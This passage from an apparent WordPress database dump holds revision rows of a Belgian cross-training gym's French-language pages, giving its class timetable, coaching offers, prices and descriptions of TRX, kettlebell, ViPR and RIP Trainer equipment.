santé\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-04 16:27:23', '2013-07-04 16:27:23', '', 11, 'http://www.crosstrainingcenter.be/?p=281', 0, 'revision', '', 0),
(282, 1, '2013-07-04 16:28:48', '2013-07-04 16:28:48', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-04 16:28:48', '2013-07-04 16:28:48', '', 11, 'http://www.crosstrainingcenter.be/?p=282', 0, 'revision', '', 0),
(285, 1, '2013-07-04 16:34:15', '2013-07-04 16:34:15', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-04 16:34:15', '2013-07-04 16:34:15', '', 11, 'http://www.crosstrainingcenter.be/?p=285', 0, 'revision', '', 0),
(283, 1, '2013-07-03 20:45:06', '2013-07-03 20:45:06', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …).\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-07-03 20:45:06', '2013-07-03 20:45:06', '', 22, 'http://www.crosstrainingcenter.be/?p=283', 0, 'revision', 